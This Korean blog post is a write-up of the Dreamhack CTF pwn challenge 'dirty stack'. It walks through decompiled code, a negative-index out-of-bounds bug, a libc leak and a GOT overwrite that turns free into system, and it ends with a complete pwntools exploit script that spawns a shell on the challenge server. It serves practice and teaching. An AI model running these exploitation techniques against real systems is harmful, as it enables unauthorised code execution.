[ Dreamhack ] dirty stack

2022. 12. 13. 22:50dreamhack/pwn

반응형

 

main

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  unsigned __int64 v3; // rbx
  unsigned __int64 v4; // [rsp+8h] [rbp-E8h] BYREF
  __int64 v5; // [rsp+10h] [rbp-E0h] BYREF
  unsigned __int64 v6; // [rsp+18h] [rbp-D8h]
  __int64 i; // [rsp+20h] [rbp-D0h]
  const char *v8; // [rsp+28h] [rbp-C8h]
  __int64 s[21]; // [rsp+30h] [rbp-C0h] BYREF
  unsigned __int64 v10; // [rsp+D8h] [rbp-18h]

  v10 = __readfsqword(0x28u);
  v6 = 0LL;
  init(argc, argv, envp);
  memset(s, 0, 0xA0uLL);
  while ( 1 )
  {
    printf("\n================== index : %ld\n", v6);
    puts("0. ???");
    puts("1. Add Item");
    puts("2. Delete Item");
    puts("3. Print Item");
    puts("4. Edit Item");
    puts("5. Copy Item");
    puts("6. Exit");
    puts("==================");
    printf("> ");
    __isoc99_scanf("%ld %ld", &v4, &v5);
    if ( v5 )
      game();
    switch ( v4 )
    {
      case 1uLL:
        printf("index : ");
        __isoc99_scanf("%ld", &v4);
        if ( v4 <= 9 )
        {
          s[2 * v4] = 1LL;
          v3 = v4;
          s[2 * v3 + 1] = (__int64)malloc(0x10uLL);
          __isoc99_scanf("%16s", s[2 * v4 + 1]);
          v6 = v4;
        }
        break;
      case 2uLL:
        printf("index : ");
        __isoc99_scanf("%ld", &v4);
        if ( (__int64)v4 > 0 )
        {
          free((void *)s[2 * v4 + 1]);
          s[2 * v4] = 0LL;
        }
        v6 = v4;
        break;
      case 3uLL:
        for ( i = 0LL; i <= 9; ++i )
        {
          if ( s[2 * i] == 1 )
          {
            v8 = (const char *)s[2 * i + 1];
            printf("[%ld] name : %s\n", i, v8);
          }
        }
        break;
      case 4uLL:
        if ( s[2 * v6] )
        {
          v8 = (const char *)s[2 * v6 + 1];
          __isoc99_scanf("%16s", s[2 * v6 + 1]);
        }
        break;
      case 5uLL:
        v8 = (const char *)s[2 * v6 + 1];
        printf("Current index : %ld. Copy to : ", v6);
        __isoc99_scanf("%ld", &v4);
        if ( v4 <= 9 )
        {
          s[2 * v4] = 1LL;
          s[2 * v4 + 1] = (__int64)v8;
        }
        break;
      case 6uLL:
        exit(0);
    }
  }
}

game

unsigned __int64 game()
{
  char v1[8]; // [rsp+0h] [rbp-20h] BYREF
  __int64 v2; // [rsp+8h] [rbp-18h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  __isoc99_scanf("%ld", v1);
  __isoc99_scanf("%ld", &v2);
  return __readfsqword(0x28u) ^ v3;
}

main 코드를 보면 2번 메뉴에서 입력받은 v4가 0보다 크면 해당하는 부분을 free하지만 

0보다 작다고 초기화를 진행하거나 하는게 없기 때문에 음수 입력시 그 값이 그대로 v6에 들어간다.

그리고 v4가 unsigned로 선언되긴 했지만 입력받을 때 %u가 아닌 %ld서식지정자를 사용했기 때문에

음수도 입력이 된다.

 

메뉴 5번을 보면 " v8( s[2 * v6 +1] ) " 을 유저가 입력한 인덱스 * 2에 담는데 여기서 oob가 발생하게 된다.

 

그리고 game함수를 보면 v1, v2에 입력을 받고 해당 함수와 메인함수 모두에서 game 함수 부분을 초기화 하기 

않기 때문에 oob 취약점을 통해 game에 입력했던 부분에 접근이 가능하다.

 

위 사진에서 볼 수 있듯이 game 함수에서 0xaaaa(43690)을 입력해주고

s배열의 주소 - 0x60과 - 0x58 주소를 보면 입력한 aaaa가 있는 것을 볼 수 있다.

s는 int64로 선언되었기 때문에 각 요소는 8바이트씩 할당되어 있다.

즉, 각각 s[-12], s[-11] 로 해당 부분에 접근할 수 있다.

 

3번 메뉴에서 %s를 통해 출력을 하는데

%s는 그 주소 안에 있는 값에 접근하기 때문에

메뉴 5번에서 해당 부분에 접근한뒤 copy를 하고 메뉴 3번에서 출력을 하면

립씨 릭을 할 수 있을것이다.

 

그리고 메뉴 4번에서 %s로 입력을 받기 때문에 got overwrite도 가능하다.

 

익스 시나리오

2번 메뉴에서 음수를 입력으로 주어 게임함수의 입력한 부분에 접근할 수 있도록 한다.

 

그리고 5번 메뉴를 실행시키면서 game함수를 실행시켜

game함수에 got주소를 집어넣고 나와서 s배열로 copy한다.

그다음 3번 메뉴를 통해 값을 출력시켜 립씨릭을한다.

 

그 립씨를 구한뒤에 다시 game함수에 gotoverwrite를 원하는 함수를 집어넣고

4번 메뉴를 통해 free를 system함수로 got overwrite를 한다

 

그리고 1번메뉴로 malloc할당 받으며 /bin/sh를 입력해주고

2번에서 free를 하면 system("/bin/sh");가 실행되어 쉘을 획득할 수 있다.

 

exploit code

from pwn import *
import time

context.log_level = "debug"

# r = process("./dirtystack")
r = remote("host3.dreamhack.games", 24009)

e = ELF("./dirtystack")

def add(index, content):
    r.sendlineafter(b"> ", b"1 0")
    r.sendlineafter(b"index : ", str(index).encode())
    sleep(0.3)
    r.sendline(content)

def delete(index):
    r.sendlineafter(b"> ", b"2 0")
    r.sendlineafter(b"index : ", str(index).encode())

def print_value():
    r.sendlineafter(b"> ", b"3 0")

def edit(edit, func):
    r.sendlineafter(b"> ", b"4 1")
    sleep(0.3)
    r.sendline(b"123")
    sleep(0.3)
    r.sendline(str(func).encode())
    r.sendline(edit)

def copy(index, func):
    r.sendlineafter(b"> ", b"5 1")
    sleep(0.3)
    r.sendline(b"123")
    sleep(0.3)
    r.sendline(str(func).encode())
    r.sendlineafter(b"to : ", str(index).encode())

input()

delete(-6)
copy(1, e.got['printf'])
print_value()

leak = u64(r.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 0x064e40
print("libc base : ", hex(leak))

edit(p64(leak+0x04f421)[:-1], 0x602018)

add(2, "/bin/sh")

delete(2)

r.interactive()

 

 

주의 !!!!!!!!!! 

free를 gotoverwrite를 하고 puts로 메뉴 출력 도중 갑자기 종료되었다.

아래 사진처럼 free got overwrite 하면서 puts의 got도 덮어버려서 그런것이였다.

이럴땐 위 익스코드와 같이 p64()로 패킹하고 슬라이싱해서 7바이트 또는 6바이트만 보내주면 된다.

왜냐하면 got주소 앞 2바이트는 어짜피 \x00이기 때문에 상관없다.

got overwrite 전
got overwrite 후

 

 

문제를 풀며 배운점

- 립씨 버전마다 system함수의 주소가 어떤 것으로 끝나는지 확인하고 0x20라면

   execve를 사용하거나 system + 1의 주소를 사용하면 된다.

 

- c에서 문자열 뒤에는 널을 주기 때문에 got overwrite를 할 때

   이로 인해 다른 함수의 got을 덮을 수 있다.

   이런 현상이 발생할 땐 주소를 7바이트 또는 6바이트만 보내주면 된다.

 

- 함수가 종료된 이후에서 해당 함수 영역에 접근이 가능하다면

  변수의 값을 통해 aaw가 발생할 수 있다.

반응형

'dreamhack > pwn' 카테고리의 다른 글

[ Dream hakc ] Santa claus is coming to town  (1) 2023.01.20
[ Dream hack ] Dream's Notepad  (3) 2022.12.15
[ Dreamhack ] Zeroshot  (0) 2022.11.27
[Dreamhack] house_of_spirit  (0) 2022.11.01
Return to csu [Dreamhack basic_rop_x64]  (0) 2022.10.01